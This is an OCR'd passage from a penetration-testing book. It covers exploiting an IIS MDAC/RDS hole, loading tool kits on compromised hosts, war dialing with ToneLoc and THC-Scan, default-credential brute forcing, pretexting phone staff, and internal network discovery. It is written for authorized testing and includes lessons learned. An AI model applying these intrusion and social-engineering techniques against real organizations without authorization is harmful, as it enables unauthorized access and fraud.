Our general procedure is determined in part by the results of our enumeration and
information gathering. We examine the list of known vulnerabilities and potential security
holes on the various target hosts and determine which are most likely to be fruitful. Next we
pursue exploiting those vulnerabilities to gain root access on the target system.

Primary targets are open ports and potentially vulnerable applications. Our approach is to
review the list of vulnerabilities collected in the previous stage and sort them by likelihood
of success and potential harm to the target network to see which may be helpful in our
exploitation efforts. For instance, a buffer overflow or denial-of-service attack may well be
successful on the target but also dangerous to the system. Unless the contract specifically
calls for DoS attacks to be performed as part of the test, they should not be attempted.

Among the common exploits performed are Web-server hacks. This is fast becoming a
popular way to compromise target networks. One popular Web-based hack is the Microsoft
[IS MDAC/RDS hack. This is an exploitation of the 1IS Web server through the msadcs.dl!
file and the Remote Data Service (RDS). It allows the attacker to execute a single
command on the target host. The command can be reused to execute a succession of
individual commands that when taken together can be used to achieve a variety of results,
such as retrieving sensitive files on the target host and making connections to other hosts.
Also, when used in conjunction with other tools, such as the command, it can allow
a user to be placed into the local administrator's group.

A Perl script, msdacExploit.pl, coded by rain forest puppy, can remotely exploit this
vulnerability and is widely available. (The msdacExploit.pl file is not the only file coded to
exploit this hole.) In order to perform this exploit, simply run the following command against
the target host.

(You do not necessarily have to be in the C drive.) A command prompt from the target host
should appear on your machine and allow you to execute one command. To run multiple
commands, the exploit must be run multiple times.



Once we have obtained unauthorized access to a remote system through either the ability
to execute a command on a target host or direct access to an actual user account, we
immediately document all relevant information, including the host and directory or share
name to which we have gained access, the host from which we gained access, the date
and time, and the level of access. Also, we specify the hole(s) that we exploited to gain
access. Next, we share this information with the target organization . This serves two
purposes: (1) to alert the organization to the hole(s) we have identified and exploited so
that the company can begin to address the issue and (2) to cover ourselves as penetration
testers from a litigation standpoint. Even in the case of an unannounced test, our point of
contact (who is aware of our activities) should know when we have gained access so if we
are detected the matter is not escalated to law enforcement authorities.

Having gained access to one machine is not necessarily the end of our penetration test. If
additional work is within scope, we can continue by installing a tool kit comprised of the
tools we can use to test other systems from the exploited box. This is different from the
“root kit” used within the hacker community to represent a collection of tools and exploits
used to either compromise the same system again in the future, by creating back doors or
Trojaning system files, or to launch attacks against other hosts, such as distributed
denial-of-service daemons.

This tool kit is tailored to the operating system of the target machine and of the machines
we may encounter during the penetration test. Generally, we include netcat, password
crackers, remote control software, sniffers, and discovery tools. Often, due to the
connection, command line tools are preferred. GUI tools can be used if a remote control
program such as pcAnywhere or Virtual Network Computing (VNC) is first installed.
Otherwise, having the target send a GUI back to our box can be tricky in that it may still be
blocked at the firewall or by the host itself. Additionally, it can sometimes display the GUI
on the local machine, alerting the machine's user of our presence and activities.

The tool kit can be copied over with FTP or TFTP, but other means are possible as well.
Once the kit is installed, we can begin penetration testing other machines. At this point, the
methodology we use closely follows the internal testing method since we are essentially

located on the target network. Refer to [Chapter 7] for information on how to proceed with
testing of additional systems.

Some of the things we do include are sniffers and keystroke capture utilities through which
we can capture client traffic. We are looking specifically for user names and passwords
that can be used to attempt access on other hosts, dial-in systems, or listening services on
the network. Sniffers are discussed further in Cha;ter 15].




We also try remote control tools that allow us to control the system. There is tremendous
potential for further network compromise once we have taken over one machine. We may
capture the UNIX password file (along with the shadow password file) or the Windows
registry (often through the version stored in the repair directory) to obtain passwords for all
users on the machine and possibly the admin account(s), which likely give us access to
additional machines on the network. Remote control tools and usage are discussed further
in .

In any case, we load whatever tools will help us to use the compromised system as a
platform for exploiting additional systems. However, as we load these tools, we keep
careful track of what was loaded and where so we can return the system to normal after
testing.
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Case Study: Dual-Homed Hosts

As mentioned in [Chapter 4, dual-homed hosts introduce a significant security hole into the
network architecture since they can give users with access rights and privileges on one
network or domain the rights and privileges they perhaps are not intended to have on a
separate domain. This vulnerability usually appears as a corporate desktop machine
connected to the organization's internal LAN and simultaneously connected through a
modem line to a local ISP. In such a configuration, anyone on the Internet may be able to
access the corporate network through the dial-up connection. However, there are other
configurations in which this vulnerability can occur.

For example, on one engagement in particular, the client was an ISP that also provided
Web-hosting services for thousands of companies. The hosting facility consisted of a large
number (in the hundreds) of UNIX-based hosts, with identical configuration, running the
Netscape Web servers.

The ISP's model, in place of providing full management, was to maintain the machines but
allow the clients to manage the Web servers themselves.

Included in the Web-hosting package was the tcl scripting language, which allowed remote
management of the Web servers. What perhaps was unknown to the ISP is that through
the tcl scripting language, knowledgeable clients and even visitors to the hosted Web sites
would be able to do more than basic administration. It was possible to use the Web server,
which was running with root privileges, to gain root access on the machines through
various specially crafted URL strings. This is an input-validation attack against the Web
server.

This led to the compromise of the host machine, in much the same way misconfigured
Microsoft 1S servers can lead to the compromise of the host machine. However, this did
not turn out to be the worst exposure on the network.

Once a machine on the Web-hosting network was compromised (for example, root access
was achieved), a hacker tool kit could be loaded onto that machine, including tools to crack
passwords. Once having gained root access on one machine, we were able to determine
that the network was connected to a second network used to support various business
units of the ISP. Further, we found that some users on the Web-hosting network had
accounts on the second network as well and used the same passwords.



At this point, access to this second network was achieved simply by the existence of
accounts with the same user name and password on both networks, and the hacker toolkit
could again be copied and installed.

We were able to determine that a machine on this second network was also homed on a
third network. This third network was the corporate, internal network used to support
payroll and accounting functionality and to maintain client databases and other such
valuable assets. This network was intended to be a self-standing, internal network. One
machine was mistakenly left dual-homed.

This machine was discovered by identifying that it had two NIC cards with IP addresses
belonging to two separate address ranges. Therefore, user accounts (and the root
account) on this box had rights on both networks. As can be expected, the root account
had the same password on all hosts in the second network, and therefore, we gained root
access to the organization's core, internal network.

In summary, it was possible to gain root access to a machine on the Web-hosting network
using software existing on the Web servers themselves, to jump to a second network
through user accounts with the same user name/password pairs, and finally, after
discovering a dual-homed box, to gain unauthorized access to the internal corporate
network. Actually, given that valid access rights had been attained, this access was
authorized in the sense that access control mechanisms did not stop it or identify it as
being unnecessary.

After the company managers realized they had inadvertently left a machine on their
internal, private network dual-homed on a network that had connections to the outside
world, and thereby damaged the integrity and confidentiality of the company's critical data
assets and client information, they were understandably shocked and mortified.

Lessons Learned

We have seen several cases where organizations were unaware that a dual-homed
machine existed or the organization had used a dual-homed host as an easy solution to fix
problems with certain applications communicating through firewalls. The moral of the story
is that close attention needs to be paid to an organization's network architecture. After
designing and implementing a secure architecture, including both host configuration and
overall network topology, any changes must go through a change-control mechanism to
help prevent security exposures such as the dual-homed scenario from sneaking into the
environment.
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Chapter 6. Dial-In Penetration

This chapter is dedicated to one of the oldest methods of gaining unauthorized access to
target systems: dial-in penetration over telephone lines. While this is no longer the primary
means of gaining access, dial-in vulnerabilities remain one of the most common
weaknesses in networks today. Insecurely configured modems listening for a connection
from anywhere represent a significant vulnerability. We identify listening modems by using
mass-dialing software to dial blocks of phone numbers owned by an organization. This is
more commonly called war dialing.
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6.1 War Dialing

Through war dialing, we are looking for a modem connected to a telephone line that is
listening for incoming connections. These modems can be a part of a modem bank or be
connected to desktop machines or routers. Organizations may also have modems
connected to facilities control programs, voicemail systems, air conditioning systems, and
PBXs (the main controllers for a telephone system). Exploitation of these systems can
cause significant problems and loss for organizations.

Organizations normally use dial-in modem banks for remote user access for employees
who travel, telecommute, or choose to work from home after hours. Companies often
designate telephone lines for their hardware or software vendor partners to dial in remotely
to manage, upgrade, and perform maintenance. These vendors have dial-in access to
these lines and generally have (default) user names and passwords for authorization.
Routers are possibly the most common hardware devices that support dial-in access
through modems. These modems should be disabled or the modem or telephone line
simply unplugged, except for the specific times when vendors are set to perform
maintenance. However, administrators often forget to do so, leaving a potential avenue of
attack open to the public.

Among all the targets for war dialing, the largest security hole is the rogue modem: an
unknown modem connected to a user's desktop. With a rogue modem, desktop users may
believe they can hide their Internet surfing habits and personal e-mail from their employers.
In addition, a user may use an unauthorized, rogue modem to log into their work machine
from home.

The risk of this scenario is significantly increased when the desktop user installs remote
management tools, such as the popular pcAnywhere. At times users can unknowingly
allow anyone with a modem to simply dial in and connect to the box (pcAnywhere can be
configured to not ask for a password). This leaves the desktop vulnerable to external
penetration. Even without pcAnywhere, it is not uncommon to see file sharing enabled.
This potentially leads to the compromise of all the data on the machine. While the rogue
modem is the primary target of war dialing, any modem can provide a potential entry point
to the target network.
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6.2 War Dialing Method

War dialing involves randomly calling each number in your target range in search of a
listening modem. Once all listening modems are identified, brute force or strategic
guessing attempts are made on the user name/password challenge (sometimes only
passwords are necessary) to gain unauthorized access.

6.2.1 Dialing

In order to perform the dialing, we program the war dialing software (several are discussed
in detail later in this chapter) to dial the numbers and record the responses it receives. The
software produces two outputs: (1) a carrier log identifying all dial tones found, busy
signals, and potential modems and (2) a carrier hack file that can even identify the listening
systems through overly descriptive banners. The banners may indicate the system is a
router, identify the OS, or identify the application.

6.2.2 Login

This is the penetration part of dial-in penetration. After we find the listening modems, we
can attempt to gain access. The war dialing software can be programmed to attempt
access whenever it receives a user name/password challenge. There are two approaches
to this. The first is to use a brute force process with the largest list of user names and
passwords you can find. Alternatively, a comprehensive list of default user name/password
pairs can be used. The second option has been found to produce better results because it
takes less time to complete and can often be just as successful since system defaults on
dial-in access are more likely to be left in place than for other networking devices.

In addition, if the number of modems identified is small and the carrier hack file offers an
indication of the kind of system the modem is connected to, you may elect to attempt
access manually. This can be done through a hyper terminal program where you simply
dial the modem and use defaults or strategically guess the user name/password pair.

For example, if you come across a Cisco router, you can try the default pairs, such as
or . Often, Cisco routers request only a password, in which case
commonly used passwords, such as ¢, cc, , and , can be attempted.

If either method works, you have gained access to the system through the telephone



network without having to go through the Internet. However, be warned—this can be a slow
process since most systems hang up after three attempts.

In addition, by using Web-hacking techniques you may be able to externally exploit
systems in a DMZ but not have access to internal systems. Using the DMZ access, you
could install sniffers and keyboard loggers on the exploited systems to capture IDs and
passwords. Since many people use the same user ID and password on multiple systems,
you can use the captured information on the dial-in systems. This essentially enables you
to bypass the firewall controls.

6.2.3 Login Screens

When you dial a number and receive a connection, there are several things you may see.
The computer you have dialed may show_you a banner describing what it is and asking for
a user name and password, as shown in , for a connection to a UNIX host. This
illustrates a user account (oracle) that can gain access with a blank, default password.

Note in this example that the user was asked to set the password. This may have been the
user's first time dialing into the system.

Figure 6-1. Login screen for connection to a UNIX host
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6.3 Gathering Numbers

Representatives of a client organization may give you a set of numbers to dial. However,
they may also want to know how easy it would be for a hacker to first get the numbers and
then find the rogue modems. In this case, obtaining numbers is somewhat of an endeavor
in social engineering.

The first step in gathering phone numbers is to identify the general ranges of numbers
associated with the organization. For this piece, we are looking for area codes and
prefixes. With these we deduce the range in which the target company's phone numbers
lie. For example, if the target company's number is (123) 456-xxxx, then we know that the
numbers we want to dial are somewhere within the 10,000 numbers between (123)
456-0000 and (123) 456-9999.

Further, whatever the target company's phone numbers are, they likely form one (or more)
continuous blocks of phone numbers within this range. For example, if you determine two
numbers at the company to be (123) 456-7830 and (123) 456-7925, the company probably
has all the numbers between 7830 and 7925. You can go so far as to postulate that the
company may have all (123) 456-78xx and -79xx numbers. Therefore, with even a small
collection of sample phone numbers, you should be able to determine the numbers you
want to dial. Keep in mind that telephone numbers, to some extent, are geographically
assigned. If you know where your target company is located, you will be able to find its
area code and, to a lesser extent, its prefix.

Sample phone numbers can be found from various places, including Web sites, company
literature, the phone book, and even telephone directory assistance, which should be able
to give you the phone number for any company in the country. Often multiple numbers are
listed; ask for all of them. The public library likely has phone books for all regions of the
country that also contain this information.

You can use these numbers to get additional numbers at the target company. For example,
you can call a receptionist and ask for the fax number; this usually does not require any
cover story at all. You can pretend to be interested in employment at the company and ask
for the number of the human resources department or person. Similarly, you can ask to
speak to someone in the benefits department and even a hiring manager, saying you want
to get an idea of what the company is looking for in a new employee. If your target has
several departments, you can ask for the number for another receptionist. Often, if you ask



for the company president or a director, you will get his or her secretary's phone number. It
is also fairly easy to get the number to the security office or the mail room (to see if your
package was shipped or has arrived). This is social engineering, a topic we cover in more

detail in Chapter 8.

With these sample numbers, you can develop your target ranges. You can then pick
random numbers within this range to screen. For example, if you have (123) 456-7830 and
(123) 456-7925 as two sample numbers, try (123) 456-7891 and see if it belongs to anyone
at the company.

There are ways to get the entire phone number range. Again, you should make sure your
engagement letter with the client covers these types of activities in case someone
guestions their legality. Contact the company's telephone billing office and ask someone to
verify the telephone number ranges. You can do this by making up any story you like to
cover your interest in their telephone numbers. For example: pretend to be calling from the
local phone company performing a routine audit of the phone company's billing records.
Ask to verify the target company's telephone numbers. If you sell yourself well, the
employees may just tell you what they are. If they don't go for it, kindly commend them on
their interest in security and ask if they would simply confirm or deny the telephone number
ranges you tell them. Give them the ranges you have ascertained, a bit at a time, starting
with those that you are most confident belong to them. Now they should be more at ease
discussing their phone numbers with you and you may be able to get all the numbers you
need.
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6.4 Precautionary Methods

War dialing is still considered a threatening activity, and the authorities do remain on the
lookout for evidence of possible war dialing instances. Be certain to verify all number
ranges with the target organization prior to beginning. The organization should be able to
positively identify all numbers as belonging to them. Additionally, if you are going to war
dial, please make sure to have your client's signed authorization letter with you at all times.
There are several things you should remember when war dialing in order to make sure you
avoid suspicion of criminal activity.

1. Call during off hours. Dial-in penetration is best performed after working hours so
that people sitting at their desks don't answer the phone when your war dialing
software calls.

2. Do not dial numbers sequentially. This is a crucial point. In an effort to thwart dial-in
penetration attempts several years ago, phone companies modified their networks
to monitor for and generate an alert when consecutive numbers are dialed from a
single phone number. Therefore, it is imperative that you configure your war dialing
software to randomize the phone numbers you dial. If the phone company notices
sequential numbers being dialed, it may disable your phone line and notify a certain
law enforcement agency. Don't be surprised if representatives of that law
enforcement agency contact you in regards to your actions.

3. Go slowly. You may want to spread your war dialing over a large period of time.
Just because you have the capability to dial 10,000 numbers a night doesn't mean
you have to. You could spread 10,000 numbers out over two or three nights (or
weeks, given your time constraints) to reduce the likelihood that you will be noticed.
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6.5 War Dialing Tools

There are several tools available for war dialing, both commercial software and freeware.
Our experience has identified the following tools as the most useful:

® Toneloc

® THC-Scan

® TeleSweep
® PhoneSweep

The first two are freeware. TonelLoc is, perhaps, the original war dialing software tool
available for the masses. THC-Scan, which stands for The Hacker's Choice-Scan, is
essentially an upgraded version of TonelLoc.

TeleSweep and PhoneSweep are commercial tools that can perform testing much faster
and are quite expensive (especially when compared to freeware). These products have the
ability to coordinate dialing across numerous telephone lines simultaneously. This is the
significant contributor to their speed advantage. In addition, they are better than freeware
at identifying the types of modems and systems that respond.

6.5.1 TonelLoc

Client OS: DOS

Description ToneLoc is perhaps the oldest of the commonly used war dialing software
package available. It is fairly straightforward to install and not terribly complicated to use.

There are only a few configuration settings that must be made. The command brings
up the configuration screen, shown in . This screen has six pull-down menus
containing all the screens on which ToneLoc can be configured. Under the Files pull-down
menu are several output files, including the Log file, which is a full record of ToneLoc's
actions; the Carrier Log file, which logs all detected carriers; and the Found file, which logs
the carriers and tones detected. The black list is a list of numbers that should never be

dialed. As you move the cursor over a particular line, a brief description of the setting is
displayed at the bottom of the screen. This descriptive line is available throughout



TonelLoc.

Figure 6-2. ToneLoc Files menu
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The dial prefix (the area code in this context) can be set under the ModemStrings

pull-down menu, shown in Eigure 6-3.

Figure 6-3. ToneLoc ModemStrings menu
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Under the ModemOptions menu, shown in Eiéure 6-4], you can configure various settings
that enable TonelLoc to properly access the modem, such as the Serial Port, Port IRQ, and



Baud Rate.

Figure 6-4. ToneLoc ModemOptions menu
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Additional settings, such as the Nudge String and Carrier Logging (do set to Y) can be set
on the ScanOptions screen, shown in Eigure 6-5. Be careful when setting the Between-call

Delay option. You may have to resist the urge to make this as small as possible because a
small delay may not give ToneLoc enough time to complete the telephone call and
determine whether there is a carrier present.

Figure 6-5. ToneLoc ScanOptions menu
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When you have made your changes, save and quit the configuration screen (use the Quit
pull-down menu). ToneLoc can then be launched by a command similar to the following:
TONELOC Runl.txt 123-XXXX /r:1000-6999 /S:20:00

In the command above, the first three digits of the phone number are specified and the final
four digits are specified in the range /r: command. The /S: option is the time at which to
start the war dialing. ToneLoc runs on a 24-hour clock.

6.5.2 THC-Scan

Client OS: DOS

Description THC-Scan can be considered a modification of ToneLoc. It offers all of the
same functionality of ToneLoc and further allows the telephone numbers to be dialed to
come from a noncontinuous range. It also runs on DOS, including all version of MS-DOS,
DR-DOS, and PC-DOS. It also runs on Linux and BSD in the DOSEMU.

Like ToneLoc, THC-Scan is straightforward to install and configure, and it features fairly
extensive documentation, including a helpful README file. The command ts-cfg brings up
the configuration screen, shown in.

Figure 6-6. THC-Scan main configuration screen



U LA WINNT System32\omd.exe - bs-clg

If you have got an EGA<LCD
Honiter or you liked the
ald TE=CFG program nore:

TE=CFG [ConfigFile]l ~LCD

§ HoDEN CONFIG |
SOANNING OPTT:
SCANNING OFT I

If you are going to set the numbers to dial from the command line, set the area code of

those numbers on the Modem Config screen, shown in Eigure 6-7]. A hang-up command

(used to disengage the connection) and various other options can be set on this screen as
well.

Figure 6-7. THC-Scan Modem Config screen
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The arrow keys scroll between the settings and each displays an explanation of the setting
in the lower window of the screen. The documentation provides further explanations of
these settings.

Additional options must be set under the Scanning Options screen, shown in Eigure 6-8

For example, you can set a timeout for calling, whether or not to redial busy numbers, and,
importantly, whether or not to dial numbers randomly. As mentioned above, this is a critical
setting, so remember to ensure that this is set to RANDOM. Also, make sure to enable the
Nudge setting so that you can view any login screens that are accessed while dialing.

Figure 6-8. THC-Scan Scanning Options screen
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When it is all ready, THC-Scan can be kicked off by the following command:

The /m:, or mask, option specifies the prefix and range of the telephone numbers to be
dialed. The prefix indicates the digits of the phone numbers that are common to all the
numbers you want to dial; the range (the /r: option) specifies the numbers that go into the
spots marked with x's in the command. In other words, the above command will dial all
numbers between 123-1000 and 123-9999. The mask can specify three to six digits.

The data is stored in the file .dat. The start and the end times can also be

specified on the command line.

While THC-Scan is executing, its displays the screen shown in Eiéure 6-9, allowing you to
track the number of carriers detected, busy signals, and overall progress.

Figure 6-9. THC-Scan in operation
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THC-Scan can attempt to use a brute force attack on any login screens it discovers. (The
THC Login Hacker tool, also free, is required for this.) This is best performed by taking the
list of modems THC-Scan has identified and redialing them with THC-Scan and the THC
Login Hacker tool to connect to and attempt a scripted brute force login process.

6.5.3 TeleSweep

Client OS: Windows 98 or NT

Description TeleSweep Secure by SecureLogix actually comes in two forms. There is a
Solution System version which includes the war dialing software as well as the hardware
necessary to implement TeleSweep's distributed war dialing capability. The company also
sells a software-only version for which you must provide the hardware.

TeleSweep Secure has a manager/agent type of architecture with a central manager able
to control agent dialers, possibly located remotely, which then perform the war dialing over
a modem or modem bank to which the agent dialers are connected. If your target has
locations across the country, a dialer can be placed in the local calling area of each
location while still being controlled by the central manager. This will save on long distance
charges, a frequently overlooked cost of this activity. Triple Data Encryption Standard
(DES) encryption is available for manager/agent dialer communication.

As a distinction from the freeware tools, TeleSweep performs automatic system
identification. In the version current at the time of this writing, the company claimed that
TeleSweep could identify 48 systems by name. This removes the necessity to spend time



reading the carrier log file and system banners to determine to what type of system you
have connected.

TeleSweep can further attempt to use brute force at login prompts and even contains lists
of standard logins (user names and passwords) for identified systems. The number of
modems used in war dialing is not restricted by TeleSweep. The product works with
Hayes-compatible modems, but Zoom modems are recommended.

6.5.4 PhoneSweep

Client OS: Windows 9x/NT

Description PhoneSweep from SandStorm Enterprises can also use multiple modems
(as many as 48 with the Enterprise version) to perform war dialing. While PhoneSweep is
compatible with Hayes AT—compatible modems, there is a list of modems with which the
product is especially recommended, including AOpen External Box Modem FM56-EX,
Multi-Tech Systems MultiModem 56K Voice/Data/Fax, Zoltrix FM-VSP56e2 and
FM-VSP56e3, and Psion Dacom's Gold Card Global PC Card. It is not recommended with
US Robotics modems or Winmodems.

PhoneSweep can identify over 250 remote access systems by name (as of this writing).
However, PhoneSweep places a restriction on the number of phone numbers that can be
dialed in a single profile. This number depends on the version of the product you have
licensed. Naturally, the more phone numbers in a profile, the more expensive the product.
It also requires the use of a specific hardware dongle.

PhoneSweep can also perform automated brute forcing of any login prompts it comes
across with user-specified user name and password files. However, it does not contain
default account information for identified systems.

Remember that although the commercial war dialers come with multiple payment options
(depending on how much of the product you chose to license), they are quite expensive, so
it is important to balance their added functionality with their cost.
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Case Study: War Dialing

In one engagement, we were asked to war dial a client's entire phone bank. The client
wanted to identify any insecure dial-in access among its dial-in modem banks, routers, and
potential rogue modems on employee desktops. Since there is less chance users may
disconnect modems during work hours or when they leave for the day, we performed the
testing during both working and nonworking hours. The tests were scheduled for between
2:30 p.m. and 5:00 a.m. each day for several days.

Our approach was to run the war dialer and then analyze the carrier log for potential
numbers to examine more closely. We wanted to run default password pairs against some
and try a brute force method against others. To brute force the authentication challenge,
we relied on the THC Login Hacker. The “surgical strike” approach was performed
manually using hyper terminal.

Among the targets we identified were dial-up modems that issued a user name/password
challenge, a few routers and servers that had open modem lines (which we learned were
for vendors to dial in and service the machines), and even a rogue modem or two.

For the dial-in modem bank, we did not have even a list of employees and were unaware of
any account lockout that may be in place. Therefore, we made limited access attempts and
stuck to trying very generic accounts, such as “new user/<blank password>,”
“admin/admin,” “admin/password,” and so on.

We were not successful gaining access this way. We had far greater success with the lines
directly to routers and servers that were generally reserved for vendors. Vendors often
have dial-up connections to their products to perform remote management and/or to
upgrade software in accordance with the service agreement. Ideally, the lines should be
active when they are specifically requested for a certain purpose (for example, to apply the
latest Oracle patch) and removed as soon as they have finished their work. However, we
do not live in an ideal world. These lines turned out to be fairly straightforward to
compromise. For one thing, the banner identified the hardware and software running on the
host. With this information, you can look up all default accounts for that hardware and
software. Not surprisingly, the defaults work on such accounts all too often. Since multiple
engineers from the vendor may be tasked to do the upgrade or maintenance, system
defaults are often left in place for the sake of convenience. Further, there is an expectation
that the modem line will not necessarily be available 24/7, so it doesn't seem so bad to



leave the defaults in place.

Once we were into the company's Internet facing router, there was much that we could do.
We attempted to crack the enable password (Cisco specific) and add our machine to the
routing table so that traffic from our host would be “internal” to the subnet and therefore
trusted. Once this is done, your machine is, for all intents and purposes, internal, and you
can begin footprinting to gather information and proceed.

At this point, we attempted to gain access to the rogue modems attached to user desktops.
(To be fair, we had no idea whether the modems were “rogue” or whether the employee
had permission to have both a modem and a remote control tool on their computers.
Perhaps they were telecommuting.)

The remote control tool, pcAnywhere, was found running on several of these hosts.
PcAnywhere can be configured to simply grant access to incoming connections or to
request user names and passwords. On several occasions, we did find pcAnywhere would
simply allow access over dial-up connections. There were cases when user names and
passwords were requested. Since we did not have user names and since we had already
gained control of other hosts through rogue modems, we didn't proceed with a brute force
attempt against both the user name and password. However, since pcAnywhere and
telecommuting in general is designed to be convenient, the passwords are generally easy
to crack.

At this point, we had user access to employee desktops. From there, we could read files,
perform footprinting, and begin to target other hosts on the network.

Lessons Learned

Dial-in access to systems, be they routers, servers, or user desktops, represent a potential
channel of unauthorized access. Telephone access must be closely monitored to ensure
that dial-in lines for vendors are not left active and that employees do not have modems on
their desktops. As a countermeasure, a company can use all-digital phone lines in
employee workspaces. This reduces the dangers of the analog modem.

For those employees who must dial in to telecommute, deploy a two-factor authentication
scheme, such as a SecurlD card, to protect the access from unauthorized hackers.
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Chapter 7. Testing Internal Penetration

Most organizations concentrate on the external computer security threat and do not put as
much emphasis on securing systems from internal threats. However, statistics show that a
large amount of unauthorized activity comes from internal sources. For most organizations
this means the internal network is where the company is most vulnerable. Internal users
have already bypassed many physical controls designed to protect computer resources.
Therefore, the company needs to take further steps to protect itself from the internal hacker
threat. Internal penetration testing can help identify resources that are internally vulnerable
and assist the system administrator in plugging these holes. While internal security
protects the organization from unauthorized internal abuse, it also helps to make life
difficult for a hacker who manages to penetrate the perimeter defenses. If the hacker finds
a rogue modem and exploits it, he or she may be limited to having access only to a
workstation with a modem on it. However, if internal security is lax, the hacker may be able
to run freely throughout the network.

This chapter provides a framework for penetration testing from within the physical location
of the company. This inside access can be obtained either by gaining physical access to
the organization or by remotely exploiting a system from an external site. The general
process that we use for internal testing is similar to that used for external testing. However,
there are several variations in the methodology and many techniques that are specific to
internal penetration testing. Once we are internal, we have bypassed most of the perimeter
controls, such as firewalls and network-based intrusion detection systems (IDSs). We may
then be able to access many services and resources that were not available to us from
outside the firewall, such as NetBIOS, rservices, telnet, FTP, and others.

| |l@ve RuBoard




| l@ve RuBoard

7.1 Scenarios

Our internal penetration testing usually consists of three scenarios: the evil consultant, the
disgruntled employee, and the dishonest cleaning staff. These persons all have access and
opportunity for unauthorized activity. Hackers have been known to dress up as cleaning
staff or to actually obtain a job as a janitorial person to gain internal access and to open
back doors for access later from the outside. Each scenario entails nearly the same
procedures with a little variation. For the evil consultant scenario, we ask the system
administrator to give us an account normally given to a consultant or vendor. Many times
consultant accounts have been restricted in some way or placed into a group with fewer
access rights than a normal employee user account. However, even with these restricted
accounts consultants have access to many resources and information that could enable
them to gain unauthorized access to critical data. For the disgruntled employee scenario,
we just obtain a normal user ID and see what assets we can access or abuse. For the
cleaning staff scenario, we plug a laptop into the network and see where it will take us.

All internal testing requires coordination with company personnel to make sure access to
the facilities and proper user IDs (for each scenario) are established. Also, close
coordination helps limit your liability. When you conduct testing internally, you have more
opportunity to unintentionally damage the network. Internal coordinators should be
consulted before performing any testing that could harm the network or critical resources.
Also, the internal coordinators can act as witnesses to defend you against unwarranted
accusations. Sometimes system administrators blame a system problem that arises during
the time of the testing on the test, even if it is totally unrelated. By having a member of the
company or department observing your activities, you can provide a reasonable alibi
against these accusations.

For the evil consultant scenario, we set up in a conference room or separate workspace.
Depending on company policy, we use either a company-owned workstation or our own
laptops. (Some organizations do not allow outside laptops on the network or even onto the
premises.) We sign on with the consultant account and move onto the next stages of the
test. Then we load our tools, if possible, and start the discovery phase.

For the disgruntled employee, the situation is nearly the same. We usually use a corporate
workstation and sign on as a normal employee. From there, we attempt to gain
administrator access over the system. We then load our tools and move on from there. If
we cannot gain administrator access over the local system, we continue with applicable



test procedures.

The cleaning staff scenario usually requires us to be creative. We normally either use our
laptops or take over a workstation during off hours when fewer company employees are on
site. Hopefully we are able to find a live network jack outside of normal view. If the client
uses DHCP we plug in to the network, obtain a DHCP address, and move on. If the client
does not use DHCP, we have to find a valid IP address if we want to do anything more
than sniff the network. First, we try to walk around and look for clues. Many times
companies list IP addresses on computers, workstations, or other devices for
troubleshooting purposes. If you find one of these addresses, you can do one of two
things: either use an address one or two numbers higher or lower than the address and
hope it works, or disconnect the device and use its address until you can find another.
Once you have obtained the IP address you can perform a ping sweep to find an open,
unused address and use that for the remainder of the testing.

You need to be careful when using static IP addresses. If you select one already in use,
you may cause IP address conflicts and be discovered. Select your IP addresses wisely.
As a system administrator, take note of the ways a casual observer could determine your
internal IP addressing scheme and guard against it. Disable unused network jacks, look for
IP conflicts, and do not openly display machine IP addresses.
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7.2 Network Discovery

Once we have gained physical access to the network and obtained a valid IP address we
can begin the discovery phase. During discovery we try to map the network, identify critical
resources, and look for holes to exploit. We use a number of tools during the discovery
phase. Our first step is to perform a ping sweep of the address ranges to identify hosts that
are alive. We use tools such as Pinger, NetScanTools, or WS_Ping ProPack to perform the
ping sweep. The tool attempts to ping a range of network addresses; any address that is
active will respond, indicating that a system is alive and using that IP address. If ping has
been restricted on the internal network or the system is not active, we receive a “host
unreachable” or “timeout” message. We can begin by pinging addresses in the network
block of the IP address we obtained. In addition, we can find other potential IP ranges from
sniffer data, client systems' ARP tables, SNMP data, and routing information.

Once we have identified active hosts, we can start to map the network. By performing
traceroutes to each host, we start to locate routers, firewalls, and other gateways that may
segment the network. Using traceroutes we can begin to build a relatively accurate network
map. VisualRoute is an excellent tool for performing traceroutes. It is easy to use and

rovides a nice GUI interface. (For more detail about how to use VisualRoute, see [Chapter

L2.)

Next we attempt to learn internal addresses and computer names by performing a zone
transfer on the internal DNS server. Often zone transfers are not restricted on internal DNS
servers. The zone transfers on internal DNS servers often help identify excellent target
opportunities. As we have mentioned previously, it is fortunate for the tester and
unfortunate for the organization that many system administrators provide a description of
the type of server within the host name. For instance, with host names such as “XYZ_11S1,”
“XYZ_PDC,” and “XYZ_SQL" it does not take long to identify critical servers that may serve
as excellent targets for hackers. If you know the company's server naming convention, you
are in an even better position. To perform a zone transfer internally you can use either
nslookup or a tool such as Sam Spade. If the network uses DHCP, you will already know
the IP addresses for the DNS server since it will be contained in your network configuration
information. You can locate this information by typing for Windows NT and

for UNIX. If the network uses static IP addresses, you may have to work to find the
DNS server. Looking for a target with port 53 open may lead you to the DNS server. Also, if
you are using an internal company workstation for the testing, the DNS server should be
included in the IP configuration information. Finally, we could use a sniffer to examine DNS



traffic to identify the IP address of the DNS server.

From the ping sweeps, traceroutes, and internal DNS information we can start to develop
our target list. The next step is to identify services that may be exploitable and may give us
more information about the device. Nmap is a superior port scanner, and in addition to
performing port scans it can also perform OS identification. Use Nmap with the “-O” option
on the systems identified in the ping sweeps to determine the OS of the target (for more
information on Nmap see Chaéter 13). Knowing the type of OS will help determine which

ports we will scan for during the port scan. For instance, if we find all the systems are UNIX
based, there is no reason to scan for ports 135-139 (NT, NetBIOS). Port scanning can set
off intrusion detection systems and generate alerts in system logs. Therefore, we generally
start with “surgical” port scans to minimize the risk of detection. During the surgical port
scans we scan for 10-20 ports that are likely to be on the host and that we know are
normally easy to exploit. (Chaéter 13 provides more detail on actual ports to scan

depending on the OS.) Upon completion of the port-scanning phase, we have a list of
hosts that are active and a traceroute to each system. In addition, the list contains
information on the OS and open ports for each host. The results of this list greatly affect the
next steps we take. The ports that are open necessarily influence the testing procedures
that we use to further explore the systems. Below we touch on some of the more common
ports we find open and how to test whether they are exploitable.

We have to keep in mind that normally the goal of testing is to find and plug the holes, not
necessarily exploit them. The open port data gives us information to act on to fix the
systems. Each open port represents a potential entry point into that system. Unfortunately
for the system administrator, many applications and operating systems install with many of
the ports open by default. NT, UNIX, IIS, Apache, and other software that is installed right
out of the box without any additional action to secure the system leave many holes open.
At times, the system administrator does not even realize the service or port is installed on
the system because he or she never actually opened it. Also, many times when systems
are preloaded with software several ports are opened by default but not needed. For
instance, preloaded Compag servers often come with the Compaq Web Management
